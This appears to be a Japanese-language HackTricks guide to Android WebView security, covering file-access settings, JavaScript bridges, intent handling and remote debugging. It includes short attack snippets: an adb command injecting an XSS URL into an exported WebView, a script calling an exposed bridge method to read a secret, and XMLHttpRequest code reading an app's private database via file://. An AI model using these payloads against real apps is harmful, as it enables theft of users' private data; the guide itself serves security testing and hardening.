Webview Attacks

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

WebViewの設定とセキュリティに関するガイド

WebViewの脆弱性の概要

Android開発の重要な側面は、WebViewsの正しい取り扱いです。このガイドでは、WebViewの使用に関連するリスクを軽減するための主要な設定とセキュリティプラクティスを強調します。

WebViewの例

WebViewsにおけるファイルアクセス

デフォルトでは、WebViewsはファイルアクセスを許可します。この機能は、Android APIレベル3(Cupcake 1.5)以降で利用可能なsetAllowFileAccess()メソッドによって制御されます。android.permission.READ_EXTERNAL_STORAGE権限を持つアプリケーションは、ファイルURLスキーム(file://path/to/file)を使用して外部ストレージからファイルを読み取ることができます。

非推奨機能:URLからのユニバーサルおよびファイルアクセス

  • ファイルURLからのユニバーサルアクセス:この非推奨機能は、ファイルURLからのクロスオリジンリクエストを許可し、潜在的なXSS攻撃による重大なセキュリティリスクを引き起こしました。デフォルト設定は、Android Jelly Bean以降をターゲットとするアプリでは無効(false)です。
  • この設定を確認するには、getAllowUniversalAccessFromFileURLs()を使用します。
  • この設定を変更するには、setAllowUniversalAccessFromFileURLs(boolean)を使用します。
  • ファイルURLからのファイルアクセス:この機能も非推奨で、他のファイルスキームURLからのコンテンツへのアクセスを制御しました。ユニバーサルアクセスと同様に、デフォルトはセキュリティ向上のために無効です。
  • getAllowFileAccessFromFileURLs()を使用して確認し、setAllowFileAccessFromFileURLs(boolean)を使用して設定します。

安全なファイル読み込み

ファイルシステムアクセスを無効にしながら、アセットやリソースにアクセスするために、setAllowFileAccess()メソッドが使用されます。Android R以降では、デフォルト設定はfalseです。

  • getAllowFileAccess()で確認します。
  • setAllowFileAccess(boolean)で有効または無効にします。

WebViewAssetLoader

WebViewAssetLoaderクラスは、ローカルファイルを読み込むための現代的なアプローチです。http(s) URLを使用してローカルアセットやリソースにアクセスし、同一オリジンポリシーに沿ってCORS管理を容易にします。

loadUrl

これは、webview内で任意のURLを読み込むために使用される一般的な関数です:

java
webview.loadUrl("<url here>")

もちろん、潜在的な攻撃者はアプリケーションが読み込むURLを決して制御できるべきではありません。

JavaScriptとIntentスキームの処理

  • JavaScript: WebViewではデフォルトで無効になっており、setJavaScriptEnabled()を介して有効にできます。適切な保護策なしにJavaScriptを有効にすると、セキュリティの脆弱性を引き起こす可能性があるため、注意が必要です。
  • Intentスキーム: WebViewはintentスキームを処理でき、注意深く管理しないと脆弱性につながる可能性があります。ある脆弱性の例は、クロスサイトスクリプティング(XSS)攻撃を実行するために悪用される可能性のある公開されたWebViewパラメータ「support_url」に関するものでした。

Vulnerable WebView

adbを使用した悪用の例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Androidによって提供される機能は、JavaScriptがWebView内でネイティブAndroidアプリの機能を呼び出すことを可能にします。これは、addJavascriptInterfaceメソッドを利用することで実現され、JavaScriptとネイティブAndroid機能を統合します。これは_ウェブビューJavaScriptブリッジ_と呼ばれます。このメソッドはWebView内のすべてのページが登録されたJavaScriptインターフェースオブジェクトにアクセスできるため、機密情報がこれらのインターフェースを通じて公開されるとセキュリティリスクが生じるため、注意が必要です。

  • Androidバージョン4.2未満をターゲットとするアプリには極めて注意が必要です。これは、悪意のあるJavaScriptを通じてリモートコード実行を可能にする脆弱性を利用します。

JavaScriptブリッジの実装

  • JavaScriptインターフェースはネイティブコードと相互作用でき、クラスメソッドがJavaScriptに公開される例で示されています:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridgeは、WebViewにインターフェースを追加することで有効になります:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • JavaScriptを通じた潜在的な悪用、例えばXSS攻撃を介して、公開されたJavaメソッドを呼び出すことが可能です:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • リスクを軽減するために、JavaScriptブリッジの使用を制限し、APKに同梱されたコードにのみ制限し、リモートソースからのJavaScriptの読み込みを防ぎます。古いデバイスの場合、最小APIレベルを17に設定します。

リフレクションベースのリモートコード実行 (RCE)

  • ドキュメント化された方法により、特定のペイロードを実行することでRCEを達成できます。ただし、@JavascriptInterfaceアノテーションは不正なメソッドアクセスを防ぎ、攻撃面を制限します。

リモートデバッグ

  • リモートデバッグChrome Developer Toolsを使用して可能で、WebViewコンテンツ内での相互作用や任意のJavaScript実行を可能にします。

リモートデバッグの有効化

  • アプリケーション内のすべてのWebViewに対してリモートデバッグを有効にするには:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • アプリケーションのデバッグ可能な状態に基づいてデバッグを条件付きで有効にするには:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

任意のファイルの抽出

  • XMLHttpRequestを使用した任意のファイルの抽出を示します:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする